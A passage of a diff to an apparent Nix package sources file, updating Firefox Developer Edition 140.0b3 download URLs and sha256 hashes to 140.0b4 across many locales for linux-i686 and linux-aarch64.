+      sha256 = "dee5070ffc55dc9ea07db4f2fcef6f0114e919b744f077d083a07db56df140cd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sc/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sc/firefox-140.0b4.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "935dff48a2d0c0e5ebaa866c9d3fb7f6e8020afe6abb4a29efb2fb5f9ff56d7f";
+      sha256 = "508d7612dfcd6b021b8491b4a81a5554e333bc09c499076807c55fb8d855c840";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sco/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sco/firefox-140.0b4.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "e74d5c2e9ea815c3665eddb06d556581365b827c0c5020db818afcebd0935921";
+      sha256 = "fd658e1c2470ab0428e55d045ff28b5b84b1b598064104184bdc2d4a5d3c9435";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/si/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/si/firefox-140.0b4.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "b32f8f8d8a5ab761cf49edeb3272e1348a3afc3304024e208156455068be7bee";
+      sha256 = "40e764c31003d7d14040eaa0c414c1ceee0a189cecaad1340e3979c6e8357c15";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sk/firefox-140.0b4.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "ccc9aca453f15affe6b2568a5e99f513ecae3e53c3c6d65c2656d4fcc3f5a692";
+      sha256 = "775c2ba89716d160f918d14f2b0308ec36d82f62891444fa8900f404928f9c0a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/skr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/skr/firefox-140.0b4.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "742dc2b55ccf1f8edf25b238e2a296f0ab93f8391c7ef7f59f8051bc22638284";
+      sha256 = "307088fdb23dc49e94125b291c489c94c24852a7a9183bef7c24e0c6021dfe51";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sl/firefox-140.0b4.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "bf44954dc276d5c3713f692d1e95f4abd7fb9b6038a06da6e3adbef9fd7afec1";
+      sha256 = "4e44491b0516f11d1bad2a5bdf3a36d6a910b686d2b41461c41eaba11c96d337";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/son/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/son/firefox-140.0b4.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "6a8e296c807ece35c0cdc25ccfe8bbc920cb8db884d528e7abbfe6d7a01fe498";
+      sha256 = "9298a06871c2f64c7ef8f1431a414c9618c6bb1fb7ddfd8bd7c44b05db7100e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sq/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sq/firefox-140.0b4.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "99303596de408afb5a9a7495841e7a4849e6cbdad6486f03d7ddd8e2478ae939";
+      sha256 = "31c4d00e0fa5f40b595601ebca3d6915a1063f0c54c4a5d4e6a38f200e682452";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sr/firefox-140.0b4.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "672ce8ba090be9d2eab274bbc6f6209035891a2142891996f84f5ffa340b21b9";
+      sha256 = "4bec7611e461fddbbdb227fddfbd9a75b385159e21b2cae079f90d4f08ca7e91";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sv-SE/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sv-SE/firefox-140.0b4.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "feb4a6af8546de1d53d8f69a3f72ea96f30dc3ff73846a86c92ebe603836e8ec";
+      sha256 = "cb0ec16d9499c30569efd03432a54afd2d5fba3814b4bcb8910ba2f15e72f0b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/szl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/szl/firefox-140.0b4.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "d2c4a0d99a6c2442da50c2ee1af11a7d324e822fa4671d19db11a30c51f56f23";
+      sha256 = "b5499e418ce022f9c586a02304632099a40c24d1c85ce4e0c860cb62e549cb07";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ta/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ta/firefox-140.0b4.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "99ba555f100864b97986e92fef81ff241926047361f7da3c4cc903fcd49910c8";
+      sha256 = "8ae42a4880e83ac18d95b4fe6b7291bbd6edd0a6712849ad0a7e773c93b63576";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/te/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/te/firefox-140.0b4.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "585bba59996f2db750fab194186aae4f8ddf830de6e02fb903002b9e26899ec9";
+      sha256 = "e9d5dcf1e96a856e72911d6d236d05defc9f8a0a9c6681846bd3fa7dec7ed0e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/tg/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/tg/firefox-140.0b4.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "6b27c5273af61abb038a30b5c1f13458c6fa887998b33226dada878b8a089fad";
+      sha256 = "73f95036c7f4582ab186f759580217094ae41a25bbd73b04114665ba62743414";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/th/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/th/firefox-140.0b4.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "d858fb1c0c0e699b02bff7da2561b8c47f8e85b8d7cc5be1880711e902a28df7";
+      sha256 = "de64c2f0db63b483c120fd86628e7a1de36f291944d5496a94d76cd62605bf1b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/tl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/tl/firefox-140.0b4.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "eb204c1e397ea6832a60948f9a66b56d89270fef2c3953bdfda9815dc6ed86f7";
+      sha256 = "8d6d26d45c5daaeea7f7997d066bee1d8bf543fe16364c19d12430ce53b8d47c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/tr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/tr/firefox-140.0b4.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "0f942450baa484c2902471e623966dbae50f8e11c2980fba116b9d7fc594b50a";
+      sha256 = "a0334ec1f4e48340e43e9a7440a59df4977f6794b354ee1b9eee76a89c48171d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/trs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/trs/firefox-140.0b4.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "25be16633f1503c90fcb001f2b126fc62feea6e299bb2d5d9b54d5947eaa1b65";
+      sha256 = "42d65c749b7fedda87b79b2f29c30e603b6971e42f909ae43aa3d59d2210a162";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/uk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/uk/firefox-140.0b4.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "a147c51fc3f14e9e2f23a2f2c0213134b3661c6d4e3ae2efb6ee70cb6a56106d";
+      sha256 = "6b9aca59b26d720fe0aafb8d5ae8be6c1c16985ace64c4e795b6b85f4cc6fb24";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ur/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ur/firefox-140.0b4.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "dd80282fe69e3dca44211bb2304b70b92247b0b888f6c4a36f605dec8c0f7031";
+      sha256 = "3a30933f5c7e041bf47dea561c20456c47324b1abfbf21f57c1d07c7df7617ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/uz/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/uz/firefox-140.0b4.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "9f73de9442ad1aff0e1818b4e5d17d3121f2b2895b3186cafdc553355afb8f33";
+      sha256 = "6b22217611fcd94531655d79f0f75ce39ab8e7165dea079d82e5f396102db1d2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/vi/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/vi/firefox-140.0b4.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "62f156b335177c4b866cfa9cd4c8a69d551b7502daa7b7e8de7c6f2df3bf43e1";
+      sha256 = "528d077a9927444f97f9038dfc189b1ce8c5c1df9fca970c6fc7cfa821398cac";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/xh/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/xh/firefox-140.0b4.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "eb956b5ab8350f2be647e5986e37b25513e6ecf72489cdd55412c21e6f369496";
+      sha256 = "265dd3d23420ec4769c5922bbe385cec8c44ea282673fcfe772292523befa44e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/zh-CN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/zh-CN/firefox-140.0b4.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "47e7cef2c8a721287927fc756e078c6c7e22737d857d99e5f6584b8b98b0d8f3";
+      sha256 = "71acb38bd43c8f8bde7dad6b9a23d34559f7a7d0c369f7e85b3cd32d13b44a71";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/zh-TW/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/zh-TW/firefox-140.0b4.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "7e31b87ff566892a14b0fb2ec227b28a281c38a41c82b00c1c0372825dd5c146";
+      sha256 = "879603c78d95d245b4efe4cfb1362c57042a1fd56aeda5be0b3af15a28f788c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ach/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ach/firefox-140.0b4.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "3387f9e12b9b3d67732873942fd0c6cb93de46d9876daeeef57e3ccb731c256c";
+      sha256 = "a7e501acd0069fb355d5bc55e0d60e578122e8f08d90b064ace8d13bf4127ea1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/af/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/af/firefox-140.0b4.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "c44171556bdbe1526866137d37a7ef25bd2d5320d8d89478dfd62561b6540c26";
+      sha256 = "3edc1c94431ab99d9e9f9e6380fbf29523bfc560bdc398d40e0bb84436167db2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/an/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/an/firefox-140.0b4.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "c6db4cbc69e2ad5d632c43855241bff3669e9cebcbb9b9e843e2e505c9b51065";
+      sha256 = "bf641e4e3fcb50a2720828c68dd823ce804cb8ba1a19197b153c7b243aa73c10";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ar/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ar/firefox-140.0b4.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "bb96da12a2b3ce4e9840a69c9cf04dd44371567435f3a3b32d9aa84a50022d7e";
+      sha256 = "ec1c54d5165736d52fc882c22f04df0b9a82a3d5cb005d39a970f94dc352a6fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ast/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ast/firefox-140.0b4.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "ad799375ecddca509884aebe1d6451348658071e15f3a48655f2266dda8cc486";
+      sha256 = "074fe462785332a3c2e2f3d8a5d0ce22d13a640b9e8d0acc98d3ee1647c44240";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/az/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/az/firefox-140.0b4.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "7e873555eeff30625be0bd276ebe0891a664a93033fa932df5e1020a2614de77";
+      sha256 = "b3ebe88576c6d0c609a7a42783f5e90f9e3961ecc21e6bf0eee1244490111791";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/be/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/be/firefox-140.0b4.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "0049c3cb02b2bcd53bde4ebfcbc6ee83d7810bafc27ac42436174ca8dbc89ca6";
+      sha256 = "645a471bc45c54f63be87d6a1a3ea5ae5f424bf32b7f9b472437464240c21ec5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/bg/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/bg/firefox-140.0b4.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "2ddaa5e9eb35ebab4bdd1335a336f1d26293f0eb84d0523992c1cd1762d50ebf";
+      sha256 = "c8f85a2504587fd939057432ed8e7735a1ba0371894624a54c6d6fa8b2fc8788";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/bn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/bn/firefox-140.0b4.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "c59773d2590d548949a8e7faa40eaacf0fc02a7d3c8773a8a3a9e7f42ebcf9fb";
+      sha256 = "53832bb8bb533abdff06a5465aa932a0abe4241b7bc9cdbaaf6ca4f21b320240";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/br/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/br/firefox-140.0b4.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "590ef978da456874f975d304321bdad7be2dc0c05c182f2dd0df3db5b778cb0b";
+      sha256 = "f419664ce76ee1caf1ad5d6e4c3c469c3647a5b649a729db98535dd25d614aee";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/bs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/bs/firefox-140.0b4.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "cfa92aa57589089c654e359c673b20542e842559eb9ee0d141bc4cb5040a8880";
+      sha256 = "ed84c36ab94648dcbe89993fde2ebb9a5f888d9cb83da3912a60ef7c68f676fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ca-valencia/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ca-valencia/firefox-140.0b4.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "454184c456b455cbfd4174b32a1af69aa61cf8d03c52beb30c44c407707e14e9";
+      sha256 = "f51810d7120309d7907ce365a3ca7889ccd2cca40078fdf339c723bf00cc9cc6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ca/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ca/firefox-140.0b4.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "d96acaa36c3c1bfb20f15d8f6f9e3ca6772dc6463dd9b79a8156f6288622e1e1";
+      sha256 = "a6b2ec151b6e56d010635b3edb5fd23659ee5eac7b14caf4e7a9107a05049cf1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/cak/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/cak/firefox-140.0b4.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "ccc48b287e6916c3e1eb0fc9fe99cc0b57e152a18697ef404f69cf10e12ae11d";
+      sha256 = "f281b21314debf2f7911a55f1a03a7d18d15800e598dd0d227d51fbc0686bb1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/cs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/cs/firefox-140.0b4.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "fe6a598ee9852fc78e161363419988572220bf5274548d8808032a770202eaed";
+      sha256 = "df68b5f0652248f01854a273564a97009e5323107be4f0643af0d1e274d01ca7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/cy/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/cy/firefox-140.0b4.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "666fabaabacdffeb54b23e96553f4ba154d423d1cf86492b664de9220e8113e8";
+      sha256 = "4b8eb5be13009cc0f26f6145d6a424e6063f21cfcc70c58fc0ad0e3b29113846";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/da/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/da/firefox-140.0b4.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "e1446c20e9f53545db9e3a602573e07bb2c5944a44815a4ebdb7e8ca7bafaf26";
+      sha256 = "a43ef915b3c408f6072266f3b97ac02b3f27bd10b8ba1e2ec27e43a3a3d480e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/de/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/de/firefox-140.0b4.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "a689221b405f94bec20a779817e3c1cc871d9d94d5b1957080cc8cafd4ea7ba9";
+      sha256 = "c9dca2e0fae1bb033049ced050256a63a90158a60c8b42609dbd11081bfe8ec3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/dsb/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/dsb/firefox-140.0b4.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "c6922652b164a79cea4a0c17af82a436a2c776f8447bedfa662d1e74e3d3a0f7";
+      sha256 = "07cea557c54f2033f36f5f084d06575b6f55e8cf2f8af9ec333ec2487b96fcf5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/el/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/el/firefox-140.0b4.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "7d42e3baa362000b5445069e7563fa1d5c8b8bb775590423269e74de3f36c216";
+      sha256 = "1dcd0eba988414a72a17218a05bf2fe6f5ab1af26dd1ae07bac72d9af2f4f502";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/en-CA/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/en-CA/firefox-140.0b4.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "75420edaf831b15860e3e78dad64e280463e04cdf671eb0ffb8016c3bd1ab4f2";
+      sha256 = "aade344b8c7db7a3fafaa67245d7d38d7470c7b9d0c94978b7bd3c36a2127571";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/en-GB/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/en-GB/firefox-140.0b4.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "10b686fbee88fb4a1ec5acb9329785291a591c27215f6b937360f98d519d089e";
+      sha256 = "e45fda7738885e6aeb3141e8b1eda1e8c962dcc6cb9c5254d0e20921f066e4ed";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/en-US/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/en-US/firefox-140.0b4.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "a1b5c903435a501a196882445546fe52b3866573c36206dfe6235c64a7334e30";
+      sha256 = "314382f39fa55784648cc1dd0daca9e1f0a650f8d598591c8a54172d016f9945";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/eo/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/eo/firefox-140.0b4.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "658a0728a5ae42ce59cbe5783aa8392cbd0c7687df22973558b052a4b2e8b166";
+      sha256 = "d6539e43fe59d660b33ed528d093379123e00ac0d90c2eab8da087cdd594eb53";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/es-AR/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/es-AR/firefox-140.0b4.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "7495b7e1968ec676c847c03596baa508dc51bd718533887374a753c721e16b6d";
+      sha256 = "0cc4e43a4b4158a381856a1bfa861e062a273ef408e2c8083331ec4bb902b97e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/es-CL/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/es-CL/firefox-140.0b4.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "6ae1058ebd39b8294bef8a1c532ac6d9400cc5271ee7efc1b964aaad39ad5081";
+      sha256 = "4aa6e06b29aa104b47a7bb7216035ede7b686850b7cdfe12ad9dea0df40daa01";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/es-ES/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/es-ES/firefox-140.0b4.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "439ab7bab00c10785aac645684460c619418e2a96b2b9c799a9d0bd9a1165e49";
+      sha256 = "0e2d72cdf607a7db275a1b19b42a0fec0192fb5ca0fd6d46a0a433d009f64c0f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/es-MX/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/es-MX/firefox-140.0b4.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "8a08c217f062a333478aa5642e3c8d7f1f1927827db8190a0f910f5cae6e332d";
+      sha256 = "a79ee5bdd66012e6d6fff63303ff62279befe9d363f97a93e0e65b2b1689ac61";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/et/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/et/firefox-140.0b4.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "357458f42be8175279ba09e7e1a8c598233399bddca2fc0f1cdb731389648a54";
+      sha256 = "8f571465035cf972bfc0f2527ef62fd6f7bab7642208f52fa48c49b53c2597b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/eu/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/eu/firefox-140.0b4.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "c5679d961ac0d133dd54d040b25b6bce0ae3e6bf54bbb80b63e1cd4283a41ede";
+      sha256 = "c345cbe1a1756e0f77a4ad911852f48a225e963ee7594925c89d4b3c8cc8ecf1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/fa/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/fa/firefox-140.0b4.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "c54defcf01f5ff63b2c9718bc26660089abe0230b3808f492f55e1e25403ebcf";
+      sha256 = "40da9c11b36069fa939b531d9de251e511ef3745e94c23031de3741cd447daab";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ff/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ff/firefox-140.0b4.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "9caa213108d214bd1b37e6cc1f367b29e093fcb98f1f010c8cb68a25c6149457";
+      sha256 = "7716c5668458c2f39fb90816dd1f7eec3f54b9774567d4743e9e1f1364870388";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/fi/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/fi/firefox-140.0b4.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "8be2a4279373bbe9c74b28175a53f6082cccfbea5918bae208be0c6b6b888944";
+      sha256 = "41ae7a385cd6ffc6fa05d4088b9ee9b956e5485810d165a5f1001c2ffaeca01a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/fr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/fr/firefox-140.0b4.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "9267835f4f5512068ad3ef87b8fa75bfba26db4e2c0d8f6f1e37ef86f17317e9";
